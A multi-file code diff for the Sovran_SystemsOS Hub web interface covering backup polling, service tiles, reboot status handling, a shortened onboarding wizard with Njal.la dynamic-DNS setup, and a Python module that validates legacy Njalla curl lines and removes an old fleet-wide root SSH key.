'<div class="support-wallet-box support-wallet-protected">',
|
||||
'<div class="support-wallet-header">',
|
||||
'<span class="support-wallet-icon">\u23f1\ufe0f</span>',
|
||||
'<span class="support-wallet-title">Time Estimate</span>',
|
||||
'</div>',
|
||||
'<p class="support-wallet-desc">This backup can take <strong>up to 4 hours</strong> depending on the amount of data stored on your Sovran Pro and the speed of your external hard drive. Be patient\u2026</p>',
|
||||
'<p class="support-wallet-desc">The first backup may take a while depending on how much data you have. Later backups are much faster because only changed or new files are copied. Files are stored directly on the drive and can be browsed without any special software.</p>',
|
||||
'</div>',
|
||||
|
||||
driveSelector,
|
||||
@@ -584,9 +679,10 @@ async function pollBackupStatus() {
|
||||
logDiv.scrollTop = logDiv.scrollHeight;
|
||||
}
|
||||
_backupLogOffset = data.offset;
|
||||
if (!data.running) {
|
||||
const result = (data.result || "").toLowerCase();
|
||||
if (result === "success" || result === "failed") {
|
||||
stopBackupPoll();
|
||||
renderBackupDone(data.result === "success");
|
||||
renderBackupDone(result === "success");
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
@@ -618,7 +714,7 @@ function renderBackupDone(success) {
|
||||
'<div class="support-section">',
|
||||
'<div class="support-icon-big">\u26a0\ufe0f</div>',
|
||||
'<h3 class="support-heading">Backup Failed</h3>',
|
||||
'<p class="support-desc">The backup did not complete successfully. Please check that the USB drive is still connected, has enough free space, and is formatted as exFAT. Then try again.</p>',
|
||||
'<p class="support-desc">The backup did not complete successfully. Please check that the USB drive is still connected, has enough free space, and is formatted as ext4. Then try again.</p>',
|
||||
'<div class="modal-log" id="backup-log-fail" style="text-align:left;"></div>',
|
||||
'<button class="btn support-btn-done" id="btn-backup-close">Close</button>',
|
||||
'</div>',
|
||||
|
||||
@@ -156,13 +156,10 @@ function buildTile(svc) {
|
||||
var pct = Math.round((svc.sync_progress || 0) * 100);
|
||||
var id = tileId(svc);
|
||||
var eta = _calcBtcEta(id, svc.sync_progress || 0);
|
||||
var ver = svc.version || svc.bitcoin_version || '';
|
||||
var versionLabel = ver ? '<div class="tile-version">' + escHtml(ver) + '</div>' : '';
|
||||
tile.innerHTML =
|
||||
'<img class="tile-icon" src="/static/icons/' + escHtml(svc.icon) + '.svg" alt="' + escHtml(svc.name) + '" onerror="this.style.display=\'none\';this.nextElementSibling.style.display=\'flex\'">' +
|
||||
'<div class="tile-icon-fallback" style="display:none">?</div>' +
|
||||
'<div class="tile-name">' + escHtml(svc.name) + '</div>' +
|
||||
versionLabel +
|
||||
'<div class="tile-sync-container">' +
|
||||
'<div class="tile-sync-label">\u23F3 Syncing Timechain</div>' +
|
||||
'<div class="tile-sync-bar-row">' +
|
||||
@@ -178,10 +175,8 @@ function buildTile(svc) {
|
||||
return tile;
|
||||
}
|
||||
|
||||
var ver = svc.version || svc.bitcoin_version || '';
|
||||
var versionLabel = ver ? '<div class="tile-version">' + escHtml(ver) + '</div>' : '';
|
||||
var bip110Badge = (svc.icon === 'bip110') ? _renderBip110Badge(svc.bip110) : '';
|
||||
tile.innerHTML = '<img class="tile-icon" src="/static/icons/' + escHtml(svc.icon) + '.svg" alt="' + escHtml(svc.name) + '" onerror="this.style.display=\'none\';this.nextElementSibling.style.display=\'flex\'"><div class="tile-icon-fallback" style="display:none">?</div><div class="tile-name">' + escHtml(svc.name) + '</div>' + versionLabel + bip110Badge + '<div class="tile-status"><span class="status-dot ' + sc + '"></span><span class="status-text">' + st + '</span></div>';
|
||||
tile.innerHTML = '<img class="tile-icon" src="/static/icons/' + escHtml(svc.icon) + '.svg" alt="' + escHtml(svc.name) + '" onerror="this.style.display=\'none\';this.nextElementSibling.style.display=\'flex\'"><div class="tile-icon-fallback" style="display:none">?</div><div class="tile-name">' + escHtml(svc.name) + '</div>' + bip110Badge + '<div class="tile-status"><span class="status-dot ' + sc + '"></span><span class="status-text">' + st + '</span></div>';
|
||||
|
||||
tile.style.cursor = "pointer";
|
||||
tile.addEventListener("click", function() {
|
||||
@@ -235,22 +230,6 @@ function updateTiles(services) {
|
||||
if (fill) fill.style.width = pct + "%";
|
||||
if (pctEl) pctEl.textContent = pct + "%";
|
||||
if (etaEl) etaEl.textContent = etaText;
|
||||
// Update or insert version label
|
||||
var syncVer = svc.version || svc.bitcoin_version || '';
|
||||
if (syncVer) {
|
||||
var syncVerEl = tile.querySelector(".tile-version");
|
||||
if (syncVerEl) {
|
||||
syncVerEl.textContent = syncVer;
|
||||
} else {
|
||||
var syncNameEl = tile.querySelector(".tile-name");
|
||||
if (syncNameEl) {
|
||||
var newSyncVerEl = document.createElement("div");
|
||||
newSyncVerEl.className = "tile-version";
|
||||
newSyncVerEl.textContent = syncVer;
|
||||
syncNameEl.insertAdjacentElement("afterend", newSyncVerEl);
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// IBD finished or not syncing — if tile had sync layout rebuild it normally
|
||||
if (tile.querySelector(".tile-sync-container")) {
|
||||
@@ -265,22 +244,6 @@ function updateTiles(services) {
|
||||
var text = tile.querySelector(".status-text");
|
||||
if (dot) dot.className = "status-dot " + sc;
|
||||
if (text) text.textContent = st;
|
||||
// Update or insert version label for all service tiles
|
||||
var tileVer = svc.version || svc.bitcoin_version || '';
|
||||
if (tileVer) {
|
||||
var verEl = tile.querySelector(".tile-version");
|
||||
if (verEl) {
|
||||
verEl.textContent = tileVer;
|
||||
} else {
|
||||
var nameEl = tile.querySelector(".tile-name");
|
||||
if (nameEl) {
|
||||
var newVerEl = document.createElement("div");
|
||||
newVerEl.className = "tile-version";
|
||||
newVerEl.textContent = tileVer;
|
||||
nameEl.insertAdjacentElement("afterend", newVerEl);
|
||||
}
|
||||
}
|
||||
}
|
||||
// Update BIP-110 badge for bip110 tiles
|
||||
if (svc.icon === 'bip110') {
|
||||
var badgeHtml = _renderBip110Badge(svc.bip110);
|
||||
@@ -290,8 +253,8 @@ function updateTiles(services) {
|
||||
var newBadge = _firstElementFromHtml(badgeHtml);
|
||||
if (newBadge) { badgeEl.replaceWith(newBadge); } else { badgeEl.remove(); }
|
||||
} else if (badgeHtml) {
|
||||
// Insert badge after version label (or after tile-name if no version)
|
||||
var anchorEl = tile.querySelector(".tile-version") || tile.querySelector(".tile-name");
|
||||
// Insert badge after the service name
|
||||
var anchorEl = tile.querySelector(".tile-name");
|
||||
if (anchorEl) {
|
||||
var newBadgeEl = _firstElementFromHtml(badgeHtml);
|
||||
if (newBadgeEl) anchorEl.insertAdjacentElement("afterend", newBadgeEl);
|
||||
|
||||
@@ -154,7 +154,7 @@ function onUpdateDone(result) {
|
||||
if ($modalStatus) $modalStatus.textContent = "✓ Update complete";
|
||||
if ($btnReboot) $btnReboot.style.display = "inline-flex";
|
||||
} else if (result === "reboot_required") {
|
||||
if ($modalStatus) $modalStatus.textContent = "✓ Update complete — reboot required";
|
||||
if ($modalStatus) $modalStatus.textContent = "✓ Update complete — restart required";
|
||||
if ($btnReboot) $btnReboot.style.display = "inline-flex";
|
||||
} else {
|
||||
if ($modalStatus) $modalStatus.textContent = "✗ Update failed";
|
||||
@@ -179,23 +179,50 @@ function saveErrorReport() {
|
||||
|
||||
var _rebootStartTime = 0;
|
||||
var _serverWentDown = false;
|
||||
var _rebootFailed = false;
|
||||
|
||||
function _setRebootStatus(msg) {
|
||||
if ($rebootSubmessage) $rebootSubmessage.textContent = msg;
|
||||
}
|
||||
|
||||
function doReboot() {
|
||||
if ($modal) $modal.classList.remove("open");
|
||||
if ($rebuildModal) $rebuildModal.classList.remove("open");
|
||||
stopUpdatePoll();
|
||||
stopRebuildPoll();
|
||||
// Reset overlay to main card
|
||||
if ($rebootMainCard) $rebootMainCard.style.display = "";
|
||||
if ($rebootErrorCard) $rebootErrorCard.style.display = "none";
|
||||
_setRebootStatus("Sending restart request\u2026");
|
||||
if ($rebootOverlay) $rebootOverlay.classList.add("visible");
|
||||
_rebootStartTime = Date.now();
|
||||
_serverWentDown = false;
|
||||
_rebootFailed = false;
|
||||
var rebootCtrl = new AbortController();
|
||||
setTimeout(function() { rebootCtrl.abort(); }, REBOOT_REQUEST_TIMEOUT);
|
||||
fetch("/api/reboot", { method: "POST", signal: rebootCtrl.signal }).catch(function() {});
|
||||
fetch("/api/reboot", { method: "POST", signal: rebootCtrl.signal })
|
||||
.then(function(res) {
|
||||
if (!res.ok) {
|
||||
// Definitive HTTP error — server rejected the request before going down
|
||||
_rebootFailed = true;
|
||||
if ($rebootMainCard) $rebootMainCard.style.display = "none";
|
||||
if ($rebootErrorCard) $rebootErrorCard.style.display = "";
|
||||
// Leave overlay visible so the error card is shown
|
||||
}
|
||||
// HTTP 2xx: request accepted, proceed with polling
|
||||
})
|
||||
.catch(function() {
|
||||
// Connection dropped or request aborted — the server is likely already going
|
||||
// down as part of the restart. Treat as success and continue polling.
|
||||
});
|
||||
// Wait before the first check — NixOS shutdown after an update can take 20-40s
|
||||
setTimeout(waitForServerReboot, REBOOT_INITIAL_DELAY);
|
||||
}
|
||||
|
||||
function waitForServerReboot() {
|
||||
if (_rebootFailed) return;
|
||||
// Update status on first check (server hasn't gone down yet)
|
||||
if (!_serverWentDown) _setRebootStatus("Waiting for the computer to shut down\u2026");
|
||||
var controller = new AbortController();
|
||||
var timeoutId = setTimeout(function() { controller.abort(); }, REBOOT_FETCH_TIMEOUT);
|
||||
|
||||
@@ -205,18 +232,23 @@ function waitForServerReboot() {
|
||||
if (_serverWentDown) {
|
||||
// Server is responding after having been down — reboot is complete.
|
||||
// Any response (even 401/500) means the server process is back.
|
||||
_setRebootStatus("System is back online. Reconnecting\u2026");
|
||||
window.location.reload();
|
||||
} else if ((Date.now() - _rebootStartTime) < 90000) {
|
||||
// Server still responding but hasn't gone down yet — keep waiting
|
||||
setTimeout(waitForServerReboot, REBOOT_CHECK_INTERVAL);
|
||||
} else {
|
||||
// Been over 90 seconds and server is responding — just reload
|
||||
_setRebootStatus("System is back online. Reconnecting\u2026");
|
||||
window.location.reload();
|
||||
}
|
||||
})
|
||||
.catch(function() {
|
||||
clearTimeout(timeoutId);
|
||||
_serverWentDown = true;
|
||||
if (!_serverWentDown) {
|
||||
_serverWentDown = true;
|
||||
_setRebootStatus("The computer is restarting\u2026");
|
||||
}
|
||||
setTimeout(waitForServerReboot, REBOOT_CHECK_INTERVAL);
|
||||
});
|
||||
}
|
||||
@@ -1,16 +1,16 @@
|
||||
/* Sovran_SystemsOS Hub — First-Boot Onboarding Wizard
|
||||
Drives the 5-step post-install setup flow. */
|
||||
Drives the 4-step post-install setup flow. */
|
||||
"use strict";
|
||||
|
||||
// ── Constants ─────────────────────────────────────────────────────
|
||||
|
||||
const TOTAL_STEPS = 5;
|
||||
const TOTAL_STEPS = 4;
|
||||
|
||||
// Steps to skip per role (steps 3 and 4 involve domain/port setup)
|
||||
// Steps to skip per role (step 3 involves domain setup)
|
||||
// Step 2 (timezone/locale) is NEVER skipped — all roles need it.
|
||||
const ROLE_SKIP_STEPS = {
|
||||
"desktop": [3, 4],
|
||||
"node": [3, 4],
|
||||
"desktop": [3],
|
||||
"node": [3],
|
||||
};
|
||||
|
||||
// ── Role state (loaded at init) ───────────────────────────────────
|
||||
@@ -66,7 +66,7 @@ function setStatus(elId, msg, type) {
|
||||
el.className = "onboarding-save-status" + (type ? " onboarding-save-status--" + type : "");
|
||||
}
|
||||
|
||||
function updateStep5Checklist() {
|
||||
function updateCompleteChecklist() {
|
||||
var checklist = document.getElementById("onboarding-checklist");
|
||||
if (!checklist) return;
|
||||
var existing = document.getElementById("onboarding-migration-check");
|
||||
@@ -135,8 +135,7 @@ function showStep(step) {
|
||||
// Lazy-load step content
|
||||
if (step === 2) loadStep2();
|
||||
if (step === 3) loadStep3();
|
||||
if (step === 4) loadStep4();
|
||||
// Step 5 (Complete) is static — no lazy-load needed
|
||||
// Step 4 (Complete) is static — no lazy-load needed
|
||||
}
|
||||
|
||||
// Return the next step number, skipping over role-excluded steps
|
||||
@@ -319,21 +318,26 @@ async function loadStep3() {
|
||||
if (!body) return;
|
||||
|
||||
try {
|
||||
// Fetch services, domains, and network info in parallel
|
||||
// Fetch services and domains in parallel (network info is best-effort below)
|
||||
var results = await Promise.all([
|
||||
apiFetch("/api/services"),
|
||||
apiFetch("/api/domains/status"),
|
||||
apiFetch("/api/network"),
|
||||
]);
|
||||
_servicesData = results[0];
|
||||
_domainsData = results[1];
|
||||
var networkData = results[2];
|
||||
} catch (err) {
|
||||
body.innerHTML = '<p class="onboarding-error">⚠ Could not load service data: ' + escHtml(err.message) + '</p>';
|
||||
return;
|
||||
}
|
||||
|
||||
var externalIp = (networkData && networkData.external_ip) || "Unknown (could not retrieve)";
|
||||
// Best-effort internal IP for the router note — never blocks this step
|
||||
var internalIp = "";
|
||||
try {
|
||||
var networkData = await apiFetch("/api/network");
|
||||
if (networkData && networkData.internal_ip && networkData.internal_ip !== "unavailable") {
|
||||
internalIp = String(networkData.internal_ip).trim();
|
||||
}
|
||||
} catch (_) {}
|
||||
|
||||
// Build set of enabled service units
|
||||
var enabledUnits = new Set();
|
||||
@@ -346,31 +350,40 @@ async function loadStep3() {
|
||||
return enabledUnits.has(d.unit);
|
||||
});
|
||||
|
||||
var domainValues = (_domainsData && _domainsData.domains) || {};
|
||||
|
||||
var html = "";
|
||||
|
||||
if (relevantDomains.length === 0) {
|
||||
html += '<p class="onboarding-body-text">No domain-based services are enabled for your role. You can skip this step.</p>';
|
||||
} else {
|
||||
// Shared instructions (single source of truth: static/js/domain-prereqs.js) —
|
||||
// identical wording to the feature-enable domain modal shown for NWC,
|
||||
// BTCPay Server, and every other domain-based feature, in every role.
|
||||
html += '<div class="onboarding-port-warn" style="margin-bottom:16px;">'
|
||||
+ '<strong>Before you continue:</strong>'
|
||||
+ '<ol style="margin:8px 0 0 16px; padding:0; line-height:1.7;">'
|
||||
+ '<li>Create an account at <a href="https://njal.la" target="_blank" style="color:var(--accent-color);">https://njal.la</a></li>'
|
||||
+ '<li>Purchase a new domain on Njal.la, or create a subdomain from a domain you already own. Tip: Subdomains are free to create — you only need to purchase one domain, and you can add as many subdomains as you need at no extra cost.</li>'
|
||||
+ '<li>In the Njal.la web interface, create a <strong>Dynamic</strong> record pointing to this machine\'s external IP address:<br>'
|
||||
+ '<span style="display:inline-block;margin-top:4px;padding:4px 12px;background:var(--card-color);border:1px solid var(--border-color);border-radius:6px;font-family:monospace;font-size:1.1em;font-weight:700;letter-spacing:0.03em;">' + escHtml(externalIp) + '</span></li>'
|
||||
+ '<li>Njal.la will give you a curl command like:<br>'
|
||||
+ '<code style="font-size:0.8em;">curl "https://njal.la/update/?h=sub.domain.com&k=abc123&auto"</code></li>'
|
||||
+ '<li>Enter the subdomain and paste that curl command below for each service</li>'
|
||||
+ '</ol>'
|
||||
+ renderDomainNeedsHtml({ serviceName: null, hostExample: "call" })
|
||||
+ renderNjallaStepsHtml({ hostExample: "call", pasteHint: "next to its service below" })
|
||||
+ '</div>';
|
||||
html += '<p class="onboarding-hint">Enter each fully-qualified subdomain (e.g. <code>matrix.yourdomain.com</code>) and its Njal.la DDNS curl command.</p>';
|
||||
html += '<p class="onboarding-hint">Enter each service\'s full domain — a subdomain (e.g. <code>call.yourdomain.com</code>) or a separate domain (e.g. <code>call.com</code>) — and its Njal.la DDNS curl command.</p>';
|
||||
|
||||
// Router note (the same wording is shown again, per-service, whenever a
|
||||
// domain-based feature is enabled, and lives on each service tile afterwards)
|
||||
html += '<div class="onboarding-port-warn" style="margin-bottom:16px;">'
|
||||
+ renderRouterPortsHtml({
|
||||
internalIp: internalIp,
|
||||
plural: true,
|
||||
includeSsh: true,
|
||||
extraNote: "Element Call needs a few extra ports (some UDP), and you’ll be shown exactly which when you enable it.",
|
||||
})
|
||||
+ '</div>';
|
||||
|
||||
relevantDomains.forEach(function(d) {
|
||||
var currentVal = (_domainsData && _domainsData[d.name]) || "";
|
||||
var currentVal = domainValues[d.name] || "";
|
||||
html += '<div class="onboarding-domain-group">';
|
||||
html += '<label class="onboarding-domain-label">' + escHtml(d.label) + '</label>';
|
||||
html += '<input class="onboarding-domain-input domain-field-input" type="text" id="domain-input-' + escHtml(d.name) + '" data-domain="' + escHtml(d.name) + '" placeholder="e.g. ' + escHtml(d.name) + '.yourdomain.com" value="' + escHtml(currentVal) + '" />';
|
||||
html += '<label class="onboarding-domain-label onboarding-domain-label--sub">Njal.la DDNS Curl Command</label>';
|
||||
html += '<input class="onboarding-domain-input domain-field-input" type="text" id="ddns-input-' + escHtml(d.name) + '" data-ddns="' + escHtml(d.name) + '" placeholder="curl "https://njal.la/update/?h=' + escHtml(d.name) + '.yourdomain.com&k=abc123&auto"" />';
|
||||
html += '<input class="onboarding-domain-input domain-field-input" type="text" id="ddns-input-' + escHtml(d.name) + '" data-ddns="' + escHtml(d.name) + '" placeholder="curl "https://njal.la/update/?h=...&k=...&auto"" />';
|
||||
html += '<p class="onboarding-hint" style="margin-top:4px;">ℹ Paste the curl URL from your Njal.la dashboard\'s Dynamic record</p>';
|
||||
html += '<button type="button" class="btn btn-primary onboarding-domain-save-btn" data-save-domain="' + escHtml(d.name) + '" style="align-self:flex-start;margin-top:8px;font-size:0.82rem;padding:6px 16px;">Save</button>';
|
||||
html += '<span class="onboarding-domain-save-status" id="domain-save-status-' + escHtml(d.name) + '" style="font-size:0.82rem;min-height:1.2em;"></span>';
|
||||
@@ -379,7 +392,7 @@ async function loadStep3() {
|
||||
}
|
||||
|
||||
// SSL email section
|
||||
var emailVal = (_domainsData && _domainsData["sslemail"]) || "";
|
||||
var emailVal = domainValues["sslemail"] || "";
|
||||
html += '<div class="onboarding-domain-group onboarding-domain-group--email">';
|
||||
html += '<label class="onboarding-domain-label">📧 SSL Certificate Email</label>';
|
||||
html += '<p class="onboarding-hint onboarding-hint--inline">Let\'s Encrypt uses this for certificate expiry notifications.</p>';
|
||||
@@ -507,94 +520,10 @@ async function saveStep3() {
|
||||
return true;
|
||||
}
|
||||
|
||||
// ── Step 4: Port Forwarding ───────────────────────────────────────
|
||||
|
||||
async function loadStep4() {
|
||||
var body = document.getElementById("step-4-body");
|
||||
if (!body) return;
|
||||
body.innerHTML = '<p class="onboarding-loading">Checking ports…</p>';
|
||||
|
||||
var networkData = null;
|
||||
|
||||
try {
|
||||
networkData = await apiFetch("/api/network");
|
||||
} catch (err) {
|
||||
body.innerHTML = '<p class="onboarding-error">⚠ Could not load network data: ' + escHtml(err.message) + '</p>';
|
||||
return;
|
||||
}
|
||||
|
||||
var internalIp = (networkData && networkData.internal_ip) || "unknown";
|
||||
|
||||
var ip = escHtml(internalIp);
|
||||
|
||||
var html = '<p class="onboarding-port-note" style="margin-bottom:14px;">'
|
||||
+ '⚠ <strong>Each port only needs to be forwarded once — all services share the same ports.</strong>'
|
||||
+ '</p>';
|
||||
|
||||
html += '<div class="onboarding-port-ip">';
|
||||
html += ' <span class="onboarding-port-ip-label">Forward ports to this machine\'s internal IP:</span>';
|
||||
html += ' <span class="port-req-internal-ip">' + ip + '</span>';
|
||||
html += '</div>';
|
||||
|
||||
// Required ports table
|
||||
html += '<div class="onboarding-port-section" style="margin-bottom:20px;">';
|
||||
html += '<div class="onboarding-port-section-title" style="font-weight:700;margin-bottom:8px;">Required Ports — open these on your router:</div>';
|
||||
html += '<table class="onboarding-port-table">';
|
||||
html += '<thead><tr><th>Port</th><th>Protocol</th><th>Forward to</th><th>Purpose</th></tr></thead>';
|
||||
html += '<tbody>';
|
||||
html += '<tr><td class="port-req-port">80</td><td class="port-req-proto">TCP</td><td class="port-req-internal-ip">' + ip + '</td><td class="port-req-desc">HTTP</td></tr>';
|
||||
html += '<tr><td class="port-req-port">443</td><td class="port-req-proto">TCP</td><td class="port-req-internal-ip">' + ip + '</td><td class="port-req-desc">HTTPS</td></tr>';
|
||||
html += '<tr><td class="port-req-port">22</td><td class="port-req-proto">TCP</td><td class="port-req-internal-ip">' + ip + '</td><td class="port-req-desc">SSH Remote Access</td></tr>';
|
||||
html += '<tr><td class="port-req-port">8448</td><td class="port-req-proto">TCP</td><td class="port-req-internal-ip">' + ip + '</td><td class="port-req-desc">Matrix Federation</td></tr>';
|
||||
html += '</tbody></table>';
|
||||
html += '</div>';
|
||||
|
||||
// Optional ports table
|
||||
html += '<div class="onboarding-port-section" style="margin-bottom:20px;">';
|
||||
html += '<div class="onboarding-port-section-title" style="font-weight:700;margin-bottom:4px;">Optional — Only needed if you enable Element Calling:</div>';
|
||||
html += '<div style="font-size:0.88em;margin-bottom:8px;color:var(--color-text-muted,#888);">These 5 additional port openings are required on top of the 4 required ports above.</div>';
|
||||
html += '<table class="onboarding-port-table">';
|
||||
html += '<thead><tr><th>Port</th><th>Protocol</th><th>Forward to</th><th>Purpose</th></tr></thead>';
|
||||
html += '<tbody>';
|
||||
html += '<tr><td class="port-req-port">7881</td><td class="port-req-proto">TCP</td><td class="port-req-internal-ip">' + ip + '</td><td class="port-req-desc">LiveKit WebRTC signalling</td></tr>';
|
||||
html += '<tr><td class="port-req-port">7882</td><td class="port-req-proto">UDP</td><td class="port-req-internal-ip">' + ip + '</td><td class="port-req-desc">LiveKit media (UDP mux)</td></tr>';
|
||||
html += '<tr><td class="port-req-port">5349</td><td class="port-req-proto">TCP</td><td class="port-req-internal-ip">' + ip + '</td><td class="port-req-desc">TURN over TLS</td></tr>';
|
||||
html += '<tr><td class="port-req-port">3478</td><td class="port-req-proto">UDP</td><td class="port-req-internal-ip">' + ip + '</td><td class="port-req-desc">TURN (STUN/relay)</td></tr>';
|
||||
html += '<tr><td class="port-req-port">30000–40000</td><td class="port-req-proto">TCP/UDP</td><td class="port-req-internal-ip">' + ip + '</td><td class="port-req-desc">TURN relay (WebRTC)</td></tr>';
|
||||
html += '</tbody></table>';
|
||||
html += '</div>';
|
||||
|
||||
// Totals
|
||||
html += '<div class="onboarding-port-totals">';
|
||||
html += '<strong>Total port openings: 4</strong> (without Element Calling)<br>';
|
||||
html += '<strong>Total port openings: 9</strong> (with Element Calling — 4 required + 5 optional)';
|
||||
html += '</div>';
|
||||
|
||||
html += '<div class="onboarding-port-warn" style="margin-bottom:16px;">'
|
||||
+ '⚠ <strong>Ports 80 and 443 must be forwarded first.</strong> '
|
||||
+ 'Caddy uses these to obtain SSL certificates from Let\'s Encrypt. '
|
||||
+ 'If they are closed, HTTPS will not work and your services will be unreachable from outside your network.'
|
||||
+ '</div>';
|
||||
|
||||
html += '<details class="onboarding-port-details" style="margin-bottom:16px;">'
|
||||
+ '<summary class="onboarding-port-details-summary">How to set up port forwarding</summary>'
|
||||
+ '<ol style="margin:12px 0 0 16px; padding:0; line-height:1.8;">'
|
||||
+ '<li>Open your router\'s admin panel — usually <code>http://192.168.1.1</code> or <code>http://192.168.0.1</code></li>'
|
||||
+ '<li>Look for <strong>"Port Forwarding"</strong>, <strong>"NAT"</strong>, or <strong>"Virtual Server"</strong> in the settings</li>'
|
||||
+ '<li>Create a new rule for each port listed above</li>'
|
||||
+ '<li>Set the destination/internal IP to <strong>' + ip + '</strong></li>'
|
||||
+ '<li>Set both internal and external port to the same number</li>'
|
||||
+ '<li>Save and apply changes</li>'
|
||||
+ '</ol>'
|
||||
+ '</details>';
|
||||
|
||||
body.innerHTML = html;
|
||||
}
|
||||
|
||||
// ── Step 5: Complete ──────────────────────────────────────────────
|
||||
// ── Step 4: Complete ──────────────────────────────────────────────
|
||||
|
||||
async function completeOnboarding() {
|
||||
var btn = document.getElementById("step-5-finish");
|
||||
var btn = document.getElementById("step-4-finish");
|
||||
if (btn) { btn.disabled = true; btn.textContent = "Finishing…"; }
|
||||
|
||||
try {
|
||||
@@ -617,7 +546,7 @@ function wireNavButtons() {
|
||||
try {
|
||||
await apiFetch("/api/migration/password-acknowledge", { method: "POST" });
|
||||
_migrationOccurred = true;
|
||||
updateStep5Checklist();
|
||||
updateCompleteChecklist();
|
||||
showStep1FromMigration();
|
||||
} catch (err) {
|
||||
setStatus("migration-password-status", "⚠ " + err.message, "error");
|
||||
@@ -653,13 +582,9 @@ function wireNavButtons() {
|
||||
showStep(nextStep(3));
|
||||
});
|
||||
|
||||
// Step 4 → 5 (port forwarding — no save needed)
|
||||
var s4next = document.getElementById("step-4-next");
|
||||
if (s4next) s4next.addEventListener("click", function() { showStep(nextStep(4)); });
|
||||
|
||||
// Step 5: finish
|
||||
var s5finish = document.getElementById("step-5-finish");
|
||||
if (s5finish) s5finish.addEventListener("click", completeOnboarding);
|
||||
// Step 4: finish
|
||||
var s4finish = document.getElementById("step-4-finish");
|
||||
if (s4finish) s4finish.addEventListener("click", completeOnboarding);
|
||||
|
||||
// Back buttons
|
||||
document.querySelectorAll(".onboarding-btn-back").forEach(function(btn) {
|
||||
@@ -691,13 +616,13 @@ document.addEventListener("DOMContentLoaded", async function() {
|
||||
try {
|
||||
var migration = await apiFetch("/api/migration/password-status");
|
||||
if (migration && migration.pending) {
|
||||
updateStep5Checklist();
|
||||
updateCompleteChecklist();
|
||||
showMigrationStep(migration.password || "");
|
||||
return;
|
||||
}
|
||||
} catch (_) {}
|
||||
|
||||
updateStep5Checklist();
|
||||
updateCompleteChecklist();
|
||||
showStep(1);
|
||||
loadStep1();
|
||||
});
|
||||
@@ -0,0 +1,283 @@
|
||||
"""Sovran Hub — injectable support session operations.
|
||||
|
||||
Functions here handle legacy migration, root-key removal, and support-session
|
||||
expiry. All filesystem paths, clocks, and callback functions are injectable
|
||||
so that the test suite can exercise the exact production implementations with
|
||||
temporary files and mocks rather than maintaining separate copies.
|
||||
|
||||
All functions depend only on the Python standard library and the co-located
|
||||
``security_helpers`` module.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import tempfile
|
||||
import time as _time_module
|
||||
from typing import Callable
|
||||
|
||||
# ── Legacy Njalla curl line regex ─────────────────────────────────────────────
|
||||
#
|
||||
# Matches both forms written by old Hub versions:
|
||||
# curl [flags] https://njal.la/... (unquoted)
|
||||
# curl [flags] "https://njal.la/..." (quoted — historical form)
|
||||
#
|
||||
# Optional flags (in order): --silent, --max-time N, --fail
|
||||
#
|
||||
# Rejected outright: semicolons, pipes, backticks, redirects, newlines,
|
||||
# ${...} except the literal ${IP} placeholder, and any extra arguments.
|
||||
_LEGACY_NJALLA_CURL_RE = re.compile(
|
||||
r'^curl\s+(?:--silent\s+)?(?:--max-time\s+\d+\s+)?(?:--fail\s+)?'
|
||||
r'(?:'
|
||||
r'"(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f"]|\$\{IP\})+)"' # group 1: quoted
|
||||
r'|(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f"]|\$\{IP\})+)' # group 2: unquoted
|
||||
r')$'
|
||||
)
|
||||
|
||||
# The exact base64 blob of the historical fleet-wide root support key that
|
||||
# was shipped with old releases of Sovran_SystemsOS and must be removed from
|
||||
# /root/.ssh/authorized_keys on upgrade.
|
||||
LEGACY_ROOT_KEY_BLOB = (
|
||||
"AAAAC3NzaC1lZDI1NTE5AAAAIPxPF2Qm11FQxC20wydKtlmn/Bo07YnDda3b9/CyXxQP"
|
||||
)
|
||||
|
||||
|
||||
def remove_legacy_root_key(
|
||||
authorized_keys_path: str,
|
||||
target_blob: str,
|
||||
*,
|
||||
audit_fn: Callable[[str, str], None] | None = None,
|
||||
) -> bool:
|
||||
"""Remove the exact historical fleet-wide support key from an authorized_keys file.
|
||||
|
||||
Identifies the key by its exact base64 blob (``parts[1]``), regardless of
|
||||
algorithm prefix or comment field. All other keys, blank lines, and comment
|
||||
lines are preserved unchanged. The file is written back atomically.
|
||||
|
||||
Args:
|
||||
authorized_keys_path: Path to the authorized_keys file to modify.
|
||||
target_blob: The exact base64 key blob to remove. Only lines whose
|
||||
second whitespace-delimited field matches this value are removed;
|
||||
no substring or comment matching is performed.
|
||||
audit_fn: Optional callback ``(event: str, details: str)`` for audit
|
||||
logging. The full key blob is **never** passed to this callback.
|
||||
|
||||
Returns:
|
||||
``True`` if the file was modified (at least one line removed),
|
||||
``False`` if unchanged or absent.
|
||||
"""
|
||||
|
||||
def _audit(event: str, details: str = "") -> None:
|
||||
if audit_fn:
|
||||
audit_fn(event, details)
|
||||
|
||||
try:
|
||||
with open(authorized_keys_path, "r") as f:
|
||||
lines = f.readlines()
|
||||
except FileNotFoundError:
|
||||
return False
|
||||
except OSError:
|
||||
return False
|
||||
|
||||
kept: list[str] = []
|
||||
removed_count = 0
|
||||
for line in lines:
|
||||
stripped = line.rstrip("\n")
|
||||
parts = stripped.split()
|
||||
# Key lines have at least two space-separated fields: algorithm + blob.
|
||||
# Remove only lines whose blob (parts[1]) matches exactly — no
|
||||
# substring matching, no comment matching.
|
||||
if len(parts) >= 2 and parts[1] == target_blob:
|
||||
removed_count += 1
|
||||
# Audit without logging the key blob itself.
|
||||
_audit("LEGACY_ROOT_KEY_REMOVED", "removed exact historical root support key")
|
||||
else:
|
||||
kept.append(line)
|
||||
|
||||
if removed_count == 0:
|
||||
return False
|
||||
|
||||
# Atomic write: mkstemp in same directory + os.replace
|
||||
auth_dir = os.path.dirname(os.path.abspath(authorized_keys_path))
|
||||
fd, tmp = tempfile.mkstemp(dir=auth_dir, prefix=".authorized_keys_tmp")
|
||||
try:
|
||||
with os.fdopen(fd, "w") as f:
|
||||
f.writelines(kept)
|
||||
os.chmod(tmp, 0o600)
|
||||
os.replace(tmp, authorized_keys_path)
|
||||
except Exception:
|
||||
try:
|
||||
os.unlink(tmp)
|
||||
except OSError:
|
||||
pass
|
||||
return False
|
||||
|
||||
_audit(
|
||||
"LEGACY_ROOT_KEY_CLEANUP_COMPLETE",
|
||||
f"removed={removed_count} keys_retained={len(kept)}",
|
||||
)
|
||||
return True
|
||||
|
||||
|
||||
